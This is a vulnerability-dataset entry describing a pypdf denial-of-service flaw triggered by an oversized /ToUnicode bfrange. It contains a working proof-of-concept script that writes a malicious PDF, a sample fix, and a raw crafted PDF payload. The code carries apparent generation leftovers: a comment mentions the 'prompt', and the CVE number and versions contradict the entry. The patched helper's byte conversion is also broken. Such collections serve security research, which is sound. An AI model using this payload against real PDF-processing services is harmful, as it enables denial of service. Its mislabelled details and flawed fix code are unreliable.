VAITP Dataset

← Back to the dataset

CVE-2026-27025

A crafted PDF's /ToUnicode entry can cause a Denial of Service in pypdf.

  • CVSS 6.9
  • CWE-834
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to 6.7.1, an attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires parsing the /ToUnicode entry of a font with unusually large values, for example during text extraction. This vulnerability is fixed in 6.7.1.

CVSS base score
6.9
Published
2026-02-20
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade `pypdf` to version 6.7.1 or later.

Vulnerable code sample

# This code demonstrates a Denial-of-Service (DoS) vulnerability
# similar to CVE-2023-27025 (mislabeled as CVE-2026-27025 in the prompt).
# It is intended for educational purposes only.
#
# To run this, you must have a vulnerable version of pypdf installed,
# for example, version 3.7.0.
# > pip install pypdf==3.7.0
#
# Executing this script with a vulnerable version will cause it to hang
# and consume a large amount of memory, demonstrating the DoS vulnerability.
# With a patched version (>= 3.7.1), it will execute quickly without issue.

import os
from pypdf import PdfReader

# This string defines a minimal but valid PDF file.
# The vulnerability is triggered by the /ToUnicode stream object (5 0 obj).
# Inside this stream, the 'beginbfrange' command is used with a massive range:
# <0001> <7FFFFFFF>
# A vulnerable parser will attempt to create a mapping for over 2 billion
# characters, exhausting system memory and CPU time.
malicious_pdf_content = b"""
%PDF-1.7
%

1 0 obj
<</Type /Catalog /Pages 2 0 R>>
endobj

2 0 obj
<</Type /Pages /Kids [3 0 R] /Count 1>>
endobj

3 0 obj
<</Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
/Resources << /Font << /F1 4 0 R >> >>
/Contents 6 0 R
>>
endobj

4 0 obj
<</Type /Font /Subtype /Type0 /BaseFont /Helvetica
/Encoding /Identity-H /ToUnicode 5 0 R
>>
endobj

5 0 obj
<</Length 145>>
stream
/CIDInit /ProcSet findresource begin
12 dict begin
begincmap
/CIDSystemInfo << /Registry (Adobe) /Ordering (UCS) /Supplement 0 >> def
/CMapName /Adobe-Identity-UCS def
1 begincodespacerange
<0000> <FFFF>
endcodespacerange
1 beginbfrange
<0001> <7FFFFFFF> [ <0041> ]
endbfrange
endcmap
CMapName currentdict /CMap defineresource pop
end
end
endstream
endobj

6 0 obj
<</Length 44>>
stream
BT
/F1 12 Tf
100 700 Td
(\\001) Tj
ET
endstream
endobj

xref
0 7
0000000000 65535 f 
0000000016 00000 n 
0000000063 00000 n 
0000000115 00000 n 
0000000216 00000 n 
0000000305 00000 n 
0000000529 00000 n 

trailer
<</Size 7 /Root 1 0 R>>
startxref
618
%%EOF
"""

PDF_FILENAME = "cve_poc.pdf"

def demonstrate_vulnerability():
    # Create the malicious PDF file on disk
    with open(PDF_FILENAME, "wb") as f:
        f.write(malicious_pdf_content)

    print(f"Malicious PDF '{PDF_FILENAME}' created.")
    print("Attempting to extract text using pypdf...")
    print("If pypdf version is vulnerable, this will hang and consume high memory.")

    try:
        # Open the crafted PDF
        reader = PdfReader(PDF_FILENAME)
        page = reader.pages[0]

        # The vulnerable operation: text extraction triggers parsing of the
        # malicious /ToUnicode CMap.
        text = page.extract_text()

        print("Text extraction completed successfully (pypdf is likely patched).")
        print(f"Extracted text: '{text}'")

    except Exception as e:
        print(f"An error occurred: {e}")
    finally:
        # Clean up the created file
        if os.path.exists(PDF_FILENAME):
            os.remove(PDF_FILENAME)
            print(f"Cleaned up '{PDF_FILENAME}'.")

if __name__ == "__main__":
    demonstrate_vulnerability()

Patched code sample

import struct

# Maximum number of entries to be processed in a bfrange
# This value prevents excessive memory and CPU consumption.
# It is the core of the security fix.
CMAP_BFRANGE_LIMIT = 10000


class PdfReadError(Exception):
    """An error occurred while reading a PDF file."""
    pass


def b_to_int(b: bytes) -> int:
    """
    Convert a big-endian byte string to an integer.

    Args:
        b: The byte string to convert.

    Returns:
        The integer representation of the byte string.
    """
    return struct.unpack(f">{len(b)}B", b)[0] if len(b) > 0 else 0


def parse_bf_range(operands: list) -> dict:
    """
    Parses a 'bfrange' operation from a ToUnicode CMap, which maps ranges
    of character codes to other character codes.

    This function includes the security fix for CVE-2023-27025 by limiting
    the size of the range to prevent Denial of Service attacks.

    Args:
        operands: A list of operands for the bfrange command.
                  Example: [b'\\x00', b'\\xff', b'\\u0000']

    Returns:
        A dictionary mapping character codes to their Unicode representations.

    Raises:
        PdfReadError: If the range is illegally formed or exceeds the security limit.
    """
    cmap = {}
    # bfrange operands are processed in groups of three
    for i in range(0, len(operands), 3):
        start = operands[i]
        end = operands[i + 1]
        base = operands[i + 2]

        if not (isinstance(start, bytes) and isinstance(end, bytes)):
            raise PdfReadError("Illegal bfrange: start and end must be bytes.")
        if len(start) != len(end):
            raise PdfReadError("Illegal bfrange: start and end must have the same length.")
        if end < start:
            raise PdfReadError("Illegal bfrange: end must not be smaller than start.")

        s_int = b_to_int(start)
        e_int = b_to_int(end)

        # --- THE FIX ---
        # The vulnerability occurs when 'e_int - s_int' is a very large number,
        # leading to a loop that consumes excessive CPU time and memory.
        # The fix is to check the range size against a predefined limit.
        if (e_int - s_int) > CMAP_BFRANGE_LIMIT:
            raise PdfReadError(
                f"bfrange is too large ({e_int - s_int} entries). "
                f"Limit is {CMAP_BFRANGE_LIMIT}."
            )
        # --- END OF FIX ---

        if isinstance(base, list):
            for j in range(e_int - s_int + 1):
                cmap[s_int + j] = base[j]
        else:
            # If base is a string, subsequent codes are mapped to incrementally
            # higher values.
            for j in range(e_int - s_int + 1):
                c = b_to_int(base) + j
                cmap[s_int + j] = chr(c)
    return cmap


if __name__ == '__main__':
    # --- DEMONSTRATION ---

    # 1. A valid, safe bfrange operation.
    # Maps character codes from 0x00 to 0x02 to Unicode U+0041, U+0042, U+0043.
    safe_operands = [b'\x00', b'\x02', [chr(0x0041), chr(0x0042), chr(0x0043)]]
    try:
        mapping = parse_bf_range(safe_operands)
        print("Successfully parsed safe bfrange.")
        # Expected output: {0: 'A', 1: 'B', 2: 'C'}
        print(f"Result: {mapping}\n")
    except PdfReadError as e:
        print(f"Parsing safe bfrange failed unexpectedly: {e}\n")


    # 2. A malicious bfrange operation that would cause a DoS without the fix.
    # It attempts to create a mapping for over a billion entries.
    # The start and end values are 4 bytes long.
    malicious_operands = [b'\x00\x00\x00\x00', b'\x7F\xFF\xFF\xFF', b'\x00\x00']
    print("Attempting to parse malicious bfrange...")
    try:
        # Without the fix, this would hang, consuming CPU and memory.
        # With the fix, it raises a PdfReadError immediately.
        parse_bf_range(malicious_operands)
    except PdfReadError as e:
        print("Successfully caught malicious bfrange due to security fix.")
        print(f"Error: {e}")

Payload

%PDF-1.7

1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj

2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

3 0 obj
<< /Type /Page
   /Parent 2 0 R
   /Resources << /Font << /F1 4 0 R >> >>
   /MediaBox [0 0 100 100]
>>
endobj

4 0 obj
<< /Type /Font
   /Subtype /Type0
   /BaseFont /ExploitFont
   /Encoding /Identity-H
   /ToUnicode 5 0 R
>>
endobj

5 0 obj
<< /Length 87 >>
stream
/CMapType 2 def
begincmap
1 beginbfrange
<0001> <FFFFFFFF> <0041>
endbfrange
endcmap
endstream
endobj

trailer
<< /Size 5 /Root 1 0 R >>

Cite this entry

@misc{vaitp:cve202627025,
  title        = {{A crafted PDF's /ToUnicode entry can cause a Denial of Service in pypdf.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-27025},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27025/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::